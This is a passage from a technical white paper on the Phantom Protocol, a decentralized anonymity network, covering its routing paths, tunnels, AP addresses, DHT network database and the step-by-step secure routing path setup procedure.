network, and thus, a mechanism for anonymizing network servers.
•
The outermost node in an entry route is called an entry node.
•
A routing tunnel is a connection established over a routing path, over which the
anonymized node owning the routing path can perform TCP-equivalent anonymized
communication with a specific peer node in the anonymous network.
•
The network database is a fully distributed, decentralized database, based on DHT
(distributed hash table1) technology. It contains a number of individual virtual “tables”,
which in turn contain all global information necessary for the operation of the anonymous
network. All network nodes have access to the necessary parts of the contents of this
database, through a well-defined API.
•
An AP address (Anonymous Protocol address) is the equivalent of an IP address within
the bounds of the anonymous network. AP addresses are used to identify individual
nodes on the anonymous network (without for that sake being able to deduce their IP
address or any similarly identifying real-world information).
6.2. Routing Paths
The concept of routing paths is the central anonymizing mechanism of the protocol. All network
nodes wanting to hide their identity, i.e. the anonymized nodes of the network, make use of such
routing paths, and the individual anonymized nodes are also fully responsible for setting up and
maintaining these paths by themselves.
Routing paths can either be used to anonymize outgoing connections (e.g. clients connecting to a
web server) or to anonymize incoming connections (e.g. a web server wanting to remain
anonymous, while still allowing any client to connect to it), or both. This decision is also up to
each individual network node itself to make. As mentioned in the definitions above, a routing path
used to anonymize outgoing connections is called an exit path, and a routing path used to
anonymize incoming connections is called an entry path.
The general idea behind a routing path is that any node in the network, let’s call it , is able to
route its communications with any other node in the network through an arbitrary number of
intermediary network nodes. These intermediary network nodes are selected by the anonymized
node itself, which means that they are at worst probabilistically insecure (if random nodes are
selected from the network, there is a risk that they are malicious and collaborating with other
1 http://en.wikipedia.org/wiki/Distributed_hash_table
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
15(68)
nodes out-of-band, in order to reveal the identity of other nodes), and at best fully trusted (i.e. if
network nodes belonging to trusted friends are used).
The probabilistic insecurity factor is handled by using an arbitrary number of intermediary nodes,
selected by the anonymized node itself. The protocol is also designed such that no intermediary
node can derive the position at which it is located in the routing path, also not whether it is
adjacent to the anonymized node itself or not, and finally not even in which direction of the path
that the anonymized node is located. Also, the protocol is designed in such a way that no
intermediary node can ever eavesdrop on any of the information being routed through it, by
means of encryption.
Let’s illustrate such a routing path with a figure.
= Anonymized network node
= Selected intermediary network node
= Selected terminating intermediary network node
Arbitrarily many intermediary nodes here
Figure 3. Routing path, overview
As can be seen in the figure, the anonymized node itself resides in one end of the routing path,
and is then followed by an arbitrary number of intermediary nodes, before the routing path finally
terminates in a special terminating intermediary node. If the routing path is an exit path, this
terminating intermediary node is called an exit node, and if the routing path is an entry path, the
terminating intermediary node is called an entry node. Both the number of nodes and the exact
nodes themselves are selected by the anonymized node, when it constructs the routing path.
The terminating intermediary node has some special responsibilities in addition to the pure data
routing task to which all intermediary nodes are dedicated. In the case of exit paths, the
terminating node (i.e. the exit node) establishes all outbound connections to target AP addresses
requested by the anonymized node that owns the routing path (thus being located at the other
end of it). In the case of entry paths, the terminating node (i.e. the entry node) listens for incoming
connections from other nodes in the anonymous network, and forwards these into the routing
path in order to establish a full connection from the remote peer to the anonymized node that
owns the routing path (thus being located at the other end of it).
As soon as such an outgoing or incoming connection is established, it becomes a separate
routing tunnel inside the routing path. The same routing path can theoretically be used for an
arbitrary number of parallel routing tunnels.
The real security of the protocol is of course intricately connected to the details of exactly how
these routing paths are created by the anonymized nodes, and how they are found by other
peers in the anonymous network. This will be discussed in detail in the following chapter, about
low-level design. Before we get to that, however, there are still some components of the protocol
left to discuss at this higher level.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
16(68)
6.3. Routing Tunnels
As mentioned in the definitions section above, a routing tunnel is the dedicated communication
channel created inside a routing path as soon as a connection is successfully established
between the anonymized node owning the routing path and another node on the anonymous
network. Such a connection between two nodes on the network can be seen as the anonymized
equivalent of a TCP connection over the common Internet.
It should be noted however, that the routing tunnel does not constitute the entire anonymized
connection between two nodes on the network. Rather, it makes up only the half of the
connection that belongs to the node owning the routing path over which the connection is being
established. The connection then continues from the terminating intermediary node of the routing
path, off to the other half of the connection, belonging to the other peer of the connection. This
can be illustrated with the following figure.
Figure 4. Two-way anonymized connection, involving two routing paths/tunnels
As can be seen in the figure, both of the end-point nodes of the connection are anonymized, and
thus each has its own routing path. These two routing paths are then connected with each other
by their respective exit/entry nodes, forming a single two-way anonymized connection, passing
through two routing tunnels and a connecting link between them.
As described in the previous chapter, not all nodes in the anonymous network are necessarily
anonymized though. Some of the nodes could just as well only be in the network to be able to
communicate with other anonymized nodes, without for that matter having the need to anonymize
themselves, thus saving resources and improving performance. Imagine for example a human
rights discussion forum on a web server located in a free democratic country. Such a web server
doesn’t have any immediate reason to anonymize itself, while at the same time some of its users
located in countries with repressive regimes might have an urgent need to both anonymize
themselves with respect to the web server (out of fear that someone connected to the regime
might get access to its log files) and also hide from their own ISP the fact that they are
communicating with this web server at all. In this situation, the web server can join the
anonymous network just in order to be able to accommodate users having these needs, but can
still itself be completely without anonymization. This can be illustrated with the following figure,
where the anonymized web client is represented by the anonymized node , and the non-
anonymized web server, still located on the anonymous network, is represented by the node :
= End-point node
= Selected intermediary network node
= Selected terminating intermediary network node
= Non-involved network node
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
17(68)
Figure 5. One-way anonymized connection, involving one routing path/tunnel
As can be seen in the figure, only the anonymized web client end-point node () of the
connection has its own routing path. The exit node of this routing path then connects directly to
the non-anonymized web server end-point node (). Thus, the entire one-way anonymized
connection constitutes a single routing tunnel, going over the single routing path, finally being
connected directly to the non-anonymized end-point node () with a connecting link from the exit
node of the exit path belonging to the anonymized node ().
It should be noted however, that even though the end-point node () is not anonymized, it is still
part of the anonymous network, reachable (only) through an AP address just like any other node
in the network. Not only that, but the protocol is also designed in such a way that it should be
impossible for any node (in this case ) to know or conclude if it is connected directly to a node
(in this case ), or to a routing path owned by the same node. Thus, even nodes that don’t make
use of routing paths themselves can still in many ways be considered as being anonymized, if by
no other means, through the existence of “reasonable doubt”, which has very important
performance implications for the protocol. This kind of reasonable doubt is, of course, of little use
for a server with a static AP address, since it won’t take long for any client to notice that the IP
address of its “entry node”, i.e. the server node itself in the non-anonymized case, is always the
same. For various clients in different situations, however, this can be of great usefulness,
discussed in more detail a bit later.
Anyway, the real security of the protocol is of course intricately connected to the details of exactly
how these routing tunnels are established over the routing paths, connected with each other, and
how data is routed through them. This will be discussed in detail in the following chapter, about
low-level design. Before we get to that, however, there are still some components of the protocol
left to discuss at this higher level.
= End-point node
= Selected intermediary network node
= Selected terminating intermediary network node
= Non-involved network node
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
18(68)
6.4. AP Addresses
6.4.1.
A Comparison between AP Addresses and IP Addresses
As mentioned in the definition section above, an AP address (Anonymous Protocol address) is
the equivalent of an IP address within the bounds of the anonymous network. Just like with IP
addresses on the Internet, each network node on the anonymous network has a unique AP
address2. There is, however, one key difference between an IP address on the Internet today,
and an AP address on the anonymous network. This difference lies in the connection between
the network address used by a person or company, and their real identity.
With a common IP address on the Internet today, it is always theoretically possible to track down
the real individual behind the address, or at least the legally responsible individual behind the
address.
With an AP address in the anonymous network, no one should be able to infer any further
information about the real identity of the node behind an address just by knowing the address
itself. To put it another way, just because you can communicate with someone over the network,
you shouldn’t automatically be able to get hold of their real identity. This key difference between
IP addresses and AP addresses is actually the entire reason for using the anonymization protocol
in the first place, rather than just using normal Internet communication directly over standard
TCP/IP.
Other than this key difference, AP addresses are actually extremely similar to IP addresses, for
the reasons further discussed below.
6.4.2.
Backward Compatibility with TCP/IP Enabled Applications
The structure of an AP address is identical to the structure of an IP address, i.e. it constitutes 32
bits, arranged in four period-separated 8 bit numbers, like “1.2.3.4”. This equivalence to IP
addresses is very important in order to maintain backward compatibility with all existing IP
network communication enabled software, and even the possibility to anonymization-enable
these applications without their own knowledge, without their source code, and without the
participation of their authors.
This kind of third-party anonymization enabling of existing applications can be easily
accomplished by the simple application of some binary network API hooks, as long as the
application level interface for communicating over the anonymous network is identical to the
application level interface for communicating over standard TCP/IP.
For this reason, AP addresses have been designed to permit just that, an interface identical to
standard TCP/IP communications, and thus, AP addresses are structured just like IP addresses.
In order for a node on the anonymous network to connect to another node on the anonymous
network, a port number is also needed in addition to stating an AP address, just like with TCP
connections, for the same backward compatibility reasons.
Do note however, that as IPv6 addresses become commonplace on the Internet, there’s nothing
in the design of the protocol that makes it hard to start supporting these too, in exactly the same
way.
2 Actually, only nodes wanting to accept incoming connections really need to have an AP address, even.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
19(68)
6.5. The Network Database
In order for a group of individual and completely autonomous network nodes to be able to
accomplish anything useful together, or even to just be able to contact each other in the first
place, some kind of common data store or communication channel would seem to be required.
The problem with our restriction dictating a completely decentralized solution, however, is of
course that it disallows central points of any kind in the network, e.g. a central directory server.
This has been solved by using a distributed and decentralized database, of the DHT (Distributed
Hash Table) type. This way, the collected set of all nodes in the anonymous network actually are
the database. Several successful large scale implementations of this kind of database already
exist today, among which the Kademlia based Kad network database (of eMule fame) is one of
the largest. Not only do most DHT database designs solve the basic problem of an efficiently
distributed database in a good way, they also have built in resilience to the circumstance of
constantly disappearing and newly joining nodes, and in some cases even resilience to malicious
nodes attempting to inject corrupt data into the database.
All that is needed from a node in order to connect to, and become part of, the distributed
database, and thus the anonymous network, is to get hold of any single node that is already
connected. Without a central point, this might, at first glance, appear to be a big problem,
especially for first-time users of such a network. It really isn’t though. For any user that has
already been connected to the network, even once, thousands upon thousands of node
addresses can be cached until the next time the node wants to connect. At that point, significant
numbers of these will most likely still be available, and, as already mentioned, contact with just
one single connected node is all that is needed to become a fully qualified part of the database
and network, thus again getting access to large volumes of node IP addresses to use as entry
points for subsequent connections. Also, to create easily accessible entry points for never-before
connected nodes, any node that has been connected to the network just once can easily publish
and share its list of valid node IP addresses to the world in any number of ways, from their
website, from their blog, in forums, blog comments, news group postings, or even by email. This
guarantees that, as long as there are any remaining members in the anonymous network, an
entry point is only a few mouse clicks or a URL away. Also, the DHT based database will be
designed in such a way that separate, isolated segments, or “islands” of it should never be able
to occur, or at least not exist for any longer periods of time.
This global network database will primarily contain two things:
•
A table containing the IP addresses/ports of all currently connected nodes in the
anonymous network (remember, it is not a secret that you are connected to the
anonymous network, only who you are communicating with on this network, and what
you are communicating!), and a set of accompanying properties for each such address.
•
A table containing the AP addresses of all currently connected and/or registered nodes in
the network, and a set of accompanying properties for each such address. It is very
important to note that this table is completely decoupled from the table of IP addresses,
which would of course otherwise completely defeat the purpose of the anonymization
protocol to begin with. This table will among other things be used by network nodes to be
able to find the entry nodes to be used when contacting other AP addresses.
The real security and stability of the protocol is of course intricately connected to the exact details
of what data this database contains and how the database works and is implemented. This will be
discussed in more detail in the following chapter, about low-level design.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
20(68)
7. Low-Level Design
Armed with the knowledge gained from the previous chapters, we now plunge yet another level
deeper into the details of the protocol, taking a look at some of the very nitty-gritty details that
make it tick.
7.1. Routing Paths
As mentioned above, the routing path is one of the key elements providing the anonymity in the
protocol. As can be suspected, the exact procedure for setting up such routing paths in a secure
way is of utmost importance to keeping the system theoretically secure. In this section, the path
setup procedure will be described in more detail. We will begin with a shorter step-by-step
description, and will then move on to describing and explaining each of the steps, and their
underlying purposes and reasons, more thoroughly.
7.1.1.
Secure Establishment of Routing Paths – Low-Level Overview
Without further ado, here follows the procedure for securely setting up a routing path:
1. The anonymized node (to be) selects a random set (with some exceptions to be discussed
later) of x nodes from the IP address/port table of the network database, and fetches all their
stored info, like e.g. their path building certificate (containing the public part of an
asymmetrical encryption key-pair) and their communication certificate (containing a valid
SSL certificate). These selected nodes will be called X-nodes from this point on, and are the
ones that will constitute the final routing path.
Figure 6. Routing path creation, step 1
2. The anonymized node selects a similarly random set of y nodes from the IP address/port
table of the network database, and fetches all their stored info, like e.g. their path building
certificate, containing the public part of an asymmetrical encryption key-pair and their
communication certificate (containing a valid SSL certificate). These selected nodes will be
called Y-nodes from this point on.
Figure 7. Routing path creation, step 2
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
21(68)
3. The anonymized node chooses, arbitrarily, an ordered sequence made up of all the X-nodes
and Y-nodes, being constructed in a way that:
•
No two X-nodes are adjacent to each other.
•
A Y-node is located in one end of the sequence.
•
A number of Y-nodes equal to the total number of X-nodes minus one (although always
at least one), are located adjacent to each other in the other end of the sequence.
•
One end of the sequence is chosen at random to be the beginning of the sequence.
Figure 8. Routing path creation, step 3
4. The anonymized node generates a temporary asymmetrical cryptographic key-pair, to be
used only during the setup procedure of this specific routing path. The private key of this
key-pair will be called the routing path construction key, and the public key of this key-pair
will be called the routing path construction certificate, from now on.
5. The anonymized node prepares a special unique “setup package” for each individual X-node
and Y-node, being asymmetrically encrypted with the public key of the individual recipient,
symmetrically encrypted with the 128-bit ID of its incoming connection, and signed with the
routing path construction key from the previous step. The package contains the following
(just as with all other steps, this will be explained in more detail in the next section):
5.1.
IP address of the expected previous node in the sequence.
5.2.
IP address and port number of the next node in the sequence.
5.3.
The routing path construction certificate, generated by the anonymized node in the
previous step.
5.4.
A random 128-bit ID, associated with the connection from the previous node.
5.5.
A random 128-bit ID, associated with the connection to the next node.
5.6.
The communication certificate of the next and previous node.
5.7.
A constant number of tuples containing a 128-bit seed, a size, an index and flags for
creation of dummy setup packages (more info about this in the details later).
5.8.
A constant number of 128-bit seeds for stream encryption key generation + the
number of keys to be generated.
5.9.
A collection of flags, telling if the node is an intermediate X-node, a terminating X-
node or a Y-node, among other things.
5.10. A secure cryptographic hash of the entire (encrypted) setup package array (see the
next step), in the expected state upon reception from the previous node.
5.11. A secure cryptographic hash of the (decrypted) contents of the current setup
package.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
22(68)
6. The anonymized node arranges all the encrypted setup packages from the previous step in
an array, in a completely randomized order, and sends off the array to the node at the
beginning of the sequence, along with the pre-generated ID for this connection (see the
contents of the setup package above).
7. The following sub-procedure is then performed by the receiving Y-node, and will also be
repeated by each and every node in the ordered sequence, until the array again reaches the
anonymized node:
7.1.
The node iterates through each encrypted package in the array, attempting to first
symmetrically decrypt it using the connection ID stated by the previous node for the
incoming connection, and then asymmetrically decrypt it with its own private key. It
will be able to know when it has found the right one by getting a correct hash (item
5.11 in the setup package specification above).
7.2.
The node stores the contents of its own successfully decrypted package locally.
7.3.
The node authenticates the previous node (i.e. the one it received the package array
from), by matching both the expected IP address (item 5.1 in the setup package
specification above) against its actual IP address, and the expected ID for the
incoming connection (item 5.4 in the setup package specification above) against the
ID that was actually stated by the previous node along with the setup package array.
Both things should always match under normal circumstances (possible exception
conditions will be discussed later).
7.4.
The node matches the hash of the entire setup package array (item 5.10 in the setup
package specification above) against a locally calculated hash of the array, and they
should always be equal under normal circumstances (possible exception conditions
will be discussed later).
7.5.
The node interprets the flags (item 5.9 in the setup package specification above),
thus seeing which role in the path building process it has been allotted.
7.6.
The node makes a decision whether it is possible for it to take part in the path
building process (under normal circumstances the answer should be yes, which will
be assumed in this process summary, possible exception conditions will be
discussed later).
7.7.
The node removes its own setup package from the array.
7.8.
The node generates faked setup packages and inserts them into the array, according
to given instructions (item 5.7 in the setup package specification above).
7.9.
The node connects to the given next node, first of all validating its identity by
matching its expected communication certificate (item 5.6 in the setup package
specification above) against the SSL certificate used by the responding node,
immediately terminating the connection if the two don’t match. They should always
be equal under normal circumstances (possible exception conditions will be
discussed later).
7.10. The array, in its new state, is forwarded to the next node in the sequence (item 5.2 in
the setup package specification above), along with the given ID for this connection
(item 5.5 in the setup package specification above).
7.11. The next node that receives the array will repeat this procedure itself, and so on, until
the array has reached the last (Y-)node in the sequence, which will have its next
node set to be the original anonymized node (without for that matter knowing
anything about this special circumstance itself), thus closing the circle.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
23(68)
Figure 9. Routing path creation, step 7
8. If all goes well, the setup package array will traverse the entire sequence of nodes, and
reach the anonymized node with a connection from the Y-node at the opposite end of the
sequence, i.e. the end of the sequence that the setup package array was not sent into to
begin with. Provided that the incoming data passes all authenticity controls (which will be
discussed in more detail later), this completes the first round of the routing path setup
procedure, and the anonymized node now knows that all the selected nodes accepted the
routing path participation request and are standing by for the second round of the procedure,
which begins with the next step.
Figure 10. Routing path creation, first round completed
9. The anonymized node creates a new array of setup packages, quite similar to the first one,
but with the following additions (in addition to a new random array order):
9.1.
A first round success flag is now included in the package.
9.2.
An updated set of seeds and instructions for manipulating the package array before
forwarding it (equivalent to item 5.7 in the setup package specification above).
•
For (all) X-nodes only:
9.3.
An updated IP address of the expected new previous node in the sequence
(equivalent to item 5.1 in the setup package specification above).
9.4.
An updated IP address/port for the next node in the sequence (equivalent to item 5.2
in the setup package specification above).
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
24(68)
9.5.
A random 128-bit ID, associated with the connection from the new previous node
(equivalent to item 5.4 in the setup package specification above).
9.6.
A random 128-bit ID, associated with the connection to the new next node
(equivalent to item 5.5 in the setup package specification above).
•
For the terminating X-node only, if the path is an entry path:
9.7.
The AP address that the entry path belongs to.
9.8.
A ready-made routing table entry, signed with the private key belonging to the routing
certificate of the AP address owner (more info about this in the details later).
10. The anonymized node sends away the new array of setup packages in the same manner as
the first one (and in the same direction too).
11. The following sub-procedure is then performed by each and every node in the ordered
sequence, until the array again reaches the anonymized node:
11.1. The node locates, decrypts and verifies its own package in the received array, and
checks the integrity of the entire array, using the same methods as in the first round.
11.2. The node now also validates the signature of the package, using the routing path
construction certificate received in the package from the first round (item 5.3 in the
setup package specification above).
11.3. The node confirms that the success flag is set in the package (item 9.1 in the setup
package specification above).
11.4. The node modifies the package array in the same way it did in step 7.7 + 7.8 above,
only now using the updated seeds and instructions (item 9.2 in the setup package
specification above).
•
For Y-nodes only:
11.5. The Y-node forwards the array, in its new state, to the next node in the sequence.
11.6. The Y-node disconnects its forward connection, and has thus fully completed its
participation in the routing path building operation, and discards all information
related to it, forgets all about it, and is back in the exact state it was before it was
contacted to participate in the routing path building operation to begin with.
•
For (all) X-nodes only:
11.7. The X-node checks to see if the updated expected IP address of the previous node
(item 9.3 in the setup package specification above) is the same as the IP address of
the existing previous node. Under normal circumstances it should never be the same,
and in this case the X-node will halt and wait for an incoming connection from the
expected IP address (item 9.3 in the setup package specification above) also having
the right ID (item 9.5 in the setup package specification above).
11.8. When a matching incoming connection is established to the X-node (i.e. from the X-
node before it), all the usual array transfer, verification and modification procedures
are performed.
11.9. The X-node forwards the array, in its new state, to the next node in the sequence,
still being connected from the first round.
11.10. The X-node then checks to see if the updated expected IP address and port number
of the next node (item 9.4 in the setup package specification above) is the same as
the IP address and port of the currently connected next node. Under normal
circumstances it should never be the same, and in this case the X-node will
disconnect its current forward connection, and attempt to create a new forward
connection to the updated IP address and port for the stated next node (item 9.4 in
the setup package specification above) also using the updated ID (item 9.6 in the
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
25(68)
setup package specification above) for this connection. Several connection attempts
might be needed at this point, since the target X-node might not have started
listening for this incoming connection yet.
11.11. The X-node forwards the array, in its new state, to this new next node in the
sequence too.
11.12. The intermediate Y-node between the two adjacent X-nodes has now been fully
disconnected, and the final state of the routing path has been established between
the current X-node and the one before it in the sequence.
11.13. The X-node now finishes the procedure by generating its unique set of stream
encryption keys, according to the seeds and parameters given in the initial setup
package (item 5.8 in the setup package specification above). This set of keys will be
used at a later time, when establishing routing tunnels over the routing path.
•
For the terminating X-node only, if the path is an entry path:
11.14. The terminating X-node expects the previous (Y-)node to disconnect the connection
immediately after having received the package array from it. If the expected IP
address (item 9.3 in the setup package specification above) and the updated ID (item
9.5 in the setup package specification above) are empty (all zero), the terminating X-
node also doesn’t expect any new incoming connection from a previous node, since
it is located at the end of the routing path, and in this case only has the multiple Y-
nodes in front of it (this will only happen in half the cases, i.e. where the randomly
chosen beginning of the node sequence is the one with the multiple Y-nodes).
11.15. If the created routing path is an entry path, after having done everything else that a
normal intermediate X-node is supposed to do, the terminating X-node proceeds to
submit the new pre-signed routing table entry (item 9.8 in the setup package
specification above) for the current routing path to the AP address-indexed routing
table in the global network database, for the associated AP address (item 9.7 in the
setup package specification above). The entry path is now officially announced, and
any user on the anonymous network can look it up in the global network database,
and use it to establish an anonymized connection (i.e. anonymized for the node that
created the routing path) to the anonymized node.
11.16. If the created routing path is not an entry path, it will skip the previous step (11.15),
and will instead be waiting for requests for outgoing connections from the
anonymized node that owns the routing path (thus being located at its other end).
This will be discussed further in the section about establishment of routing tunnels
below.
Figure 11. Routing path creation, step 11
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
26(68)
12. If all goes well, the second setup package array will traverse the entire sequence of nodes,
just like the first one, and reach the anonymized node with a connection from the Y-node
(and subsequently its preceding X-node) at the end of the sequence, where it will be
checked for validity. This completes the second half of the routing path setup procedure, and
the routing path is now successfully and securely set up, ready for immediate use.
Figure 12. Routing path creation, step 12
At this point, we can clearly recognize the exact routing path structure that has been exemplified
previously in this paper, and the process is complete.
Figure 13. The completed routing path, recognizable from previously in this paper
We will now proceed with further explanation of some of the details in the process that has just
been outlined, why things are done as they are, and in some cases in even more detail how they
are done. After that, we will move on to explaining how routing tunnels (both of the entry and exit
kind) are established over an existing routing path, and subsequently used for secure and
anonymous communication.
= Anonymized network node
= Selected intermediary network node
= Selected terminating intermediary network node
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
27(68)
7.1.2.
Secure Establishment of Routing Paths – Low-Level Details
In this section, all the steps from the previous section (i.e. the “low level overview”) will be
repeated again, in grey and without the figures, and comments will be added (in normal black) to
further explain the design decisions behind each step, where necessary.
1. The anonymized node (to be) selects a random set (with some exceptions to be discussed
later) of x nodes from the IP address/port table of the network database, and fetches all their
stored info, like e.g. their path building certificate (containing the public part of an
asymmetrical encryption key-pair) and their communication certificate (containing a valid
SSL certificate). These selected nodes will be called X-nodes from this point on, and are the
ones that will constitute the final routing path.
First of all, about this “random set” of selected nodes, the only real requirement for randomness is
that the anonymized node can be confident that no other node, or reasonably large set of nodes,
has been able to influence or bias the contents of this set of nodes. Once this has been
ascertained (by means of being able to trust the randomness of the returned results from the
network database in this aspect, which will be discussed in more detail later), the anonymized
node itself can actually make the selected set of nodes even more secure, by applying some
extra restrictions to the nodes in the set. For example, by analyzing the IP addresses in the
“initial” random set acquired from the network database, it can make sure that none of them are in
the same or adjacent A, B or C nets, registered to the same ISP, or even that not too many of
them are located in the same country (by using geolocation). These restrictions would reduce, to
an even lower level than the initially already low one of a fully random selection, the risk of the
selected set of nodes being controlled, or in any way monitored, by the same party.
Taking it even one step further, anonymized nodes could have the option to keep a list of “trusted
nodes”, i.e. nodes that they know are not controlled by an attacker, e.g. nodes owned by their
friends etc. If just one such node is injected into each selected set of nodes, it can be completely
ascertained that not all the nodes in the selected set are controlled by the same attacker. Due to
how the protocol is designed, this is all that is needed to guarantee that no other node in the
selected set will be able to determine the IP address of the anonymized node, even if all the other
nodes were controlled by the same attacker. Even without these trusted nodes, however, the
probability of an attacker controlling every node in a randomly selected set with the above
restrictions is extremely low, and decreases for each new node that joins the anonymous
network.
2. The anonymized node selects a similarly random set of y nodes from the IP address/port
table of the network database, and fetches all their stored info, like e.g. their path building
certificate, containing the public part of an asymmetrical encryption key-pair and their
communication certificate (containing a valid SSL certificate). These selected nodes will be
called Y-nodes from this point on.
For these Y-nodes, the same criteria and possibilities for selection of the nodes apply as for the
X-nodes in step 1 above.
3. The anonymized node chooses, arbitrarily, an ordered sequence made up of all the X-nodes
and Y-nodes, being constructed in a way that:
•
No two X-nodes are adjacent to each other.
•
A Y-node is located in one end of the sequence.
•
A number of Y-nodes equal to the total number of X-nodes minus one (although always
at least one), are located adjacent to each other in the other end of the sequence.
•
One end of the sequence is chosen at random to be the beginning of the sequence.
This order should be chosen in a securely random way, since if there is any way to influence or
predict the order in which the nodes will be placed, an attacker could possibly use this knowledge
to increase the probability of a successful attack (e.g. by making sure that its nodes are always
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
28(68)
placed first and last in all routing paths, which would in turn increase the probability of successful
attacks involving massive traffic pattern correlation).
As for the underlying reasons for arranging the nodes in this manner, some further background
information and explanation is required.
First of all, it needs to be understood that our main objective with these routing paths to begin
with is to separate the distance between the knowledge of the IP address of the anonymized
node and the knowledge of the AP address information connected to it. The concept of routing
paths accomplishes this by placing the IP address knowledge in one end of a sequence of nodes,
and the AP address knowledge at the other end of the same sequence of nodes (i.e. the routing
path), while at the same time not allowing or making available any method for these nodes to
forward any intelligible information to any other node in the sequence other than the adjacent
ones (which can of course never be prevented, since adjacent nodes know the IP addresses of
each other, and can thus easily always establish out-of-band communication if they were so
inclined). Thus, for each intermediate node between the ends of the sequence, the probability
decreases for the situation to arise where all the nodes in the sequence know each other, and
thus will be able to know each other’s identity (IP address) and be able to communicate out-of-
band in order to aggregate their individual knowledge to form the complete set of knowledge, i.e.
the connection between the IP address information and the AP address information.
Second of all, the reason for the “circular” communication pattern during establishment of routing
paths needs to be understood. It arises from the simple fact that it enables the use of pure one-
way communication between all intermediary nodes (i.e. the X and Y-nodes) during the routing
path establishment process, which has two substantial primary advantages. The first is that there
is an extreme increase in complexity when going from one-way communication to two way
communication in any protocol. The many cases and special cases arising from increased
complexity can, and will always, be exploited by attackers for their own purposes. In a protocol
such as this, where it is critical that not even a single bit of information can possibly be
communicated between non-adjacent nodes in the path, such an increase in complexity would be
nearly fatal, and has, necessarily, been avoided at all costs. The second advantage of the circular
design is that even if an attacker should somehow find a weakness in the design of the protocol,
thus being able to sneak in extra data to be communicated to other, non-adjacent, nodes in the
routing path, this becomes theoretically impossible without first having this data passing through
the anonymized node that owns the routing path. This node will have much greater possibilities
for detecting such data, and due to the current design of the protocol, it never forwards any
received data in the first place.
Having established these basic design criteria for the reasons stated, we can now much better
explain and motivate arranging the nodes as instructed in this step.
The reason for having "a number of Y-nodes equal to the total number of X-nodes minus one,
located adjacent to each other in one end of the sequence", is because we don’t want, at any
point, to have a shorter distance between the anonymized node and the terminating X-node at
the other end of the intended routing path than we will have in the final path (where “distance”
between two nodes denotes the number of randomly selected intermediary nodes between
them). These Y-nodes thus work as a temporary “buffer” to maintain this distance during the
creation process of the routing path. The “total number of X-nodes minus one” will always be
equal to the distance between the anonymized node and the terminating X-node in the fully
established routing path, and thus this number of Y-nodes will assure that the distance, and thus
the security, selected by the anonymous node to begin with, will also be maintained throughout
the entire setup process of the routing path.
The reason for having “no two X-nodes adjacent to each other” and “a Y-node located in one end
of the sequence” (where the other end has the multiple Y-nodes discussed above) is that no X-
node should be able to know which nodes will be adjacent to it in the final routing path, and thus
be able to influence, interfere or otherwise behave any differently during the path setup process
based on such information (an X-node controlled by an attacker would always want to have other
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
29(68)
X-nodes controlled by the same attacker adjacent to it, in order to achieve a fully compromised
path).
Finally, the reason for “choosing one end of the sequence at random to be the beginning of the
sequence” is that the direction in which the one-way communication occurs during the setup of
the path should have no connection to the directions in which the anonymized node and the
terminating node at the ends of the path are located. That is, the intermediary nodes should not
be able to tell which direction of the path is which. Combined with the fact that a routing path can
be either an entry path, an exit path, or both, the intermediary nodes will never be able to derive
at which end of the path the anonymized node is located, not even by taking note of the direction
in which tunnels are established over the path once it is fully setup.
4. The anonymized node generates a temporary asymmetrical cryptographic key-pair, to be
used only during the setup procedure of this specific routing path. The private key of this
key-pair will be called the routing path construction key, and the public key of this key-pair
will be called the routing path construction certificate, from now on.
If the same routing path construction key-pair would be used for multiple routing path setup
procedures, i.e. if it would not be regenerated each time, it could be used by an attacker, who has
had his nodes selected for inclusion in more than one of them, to correlate different routing paths
created by the same anonymized node. In such case, if ever only one routing path of the
anonymized node were to be compromised, no matter how unlikely, the routing path construction
key-pair could be used to bind all previous semi-compromised routing paths to this same
anonymized node, which would be a completely unnecessary weakness.
5. The anonymized node prepares a special unique “setup package” for each individual X-node
and Y-node, being asymmetrically encrypted with the public key of the individual recipient,
symmetrically encrypted with the 128-bit ID of its incoming connection, and signed with the
routing path construction key from the previous step. The package contains the following
(just as with all other steps, this will be explained in more detail in the next section):
5.1.
IP address of the expected previous node in the sequence.
This will be used by each node in the routing path to verify that the node contacting them is the
one intended.
5.2.
IP address and port number of the next node in the sequence.
This will be used by each node in the routing path to pass on the package array after having
completed its own processing.
5.3.
The routing path construction certificate, generated by the anonymized node in the
previous step.
This will be used by each node in the routing path to verify the authenticity of the package array
in the second round of the routing path creation process.
5.4.
A random 128-bit ID, associated with the connection from the previous node.
This will be used by each node in the routing path to verify that the node contacting them is the
one intended.
5.5.
A random 128-bit ID, associated with the connection to the next node.
This will be used by each node in the routing path to authenticate themselves to the next node in
the routing path.
5.6.
The communication certificate of the next and previous node.
These SSL certificates will be used to establish two-way authenticated and securely encrypted
communication between all nodes in the routing path.
5.7.
A constant number of tuples containing a 128-bit seed, a size, an index and flags for
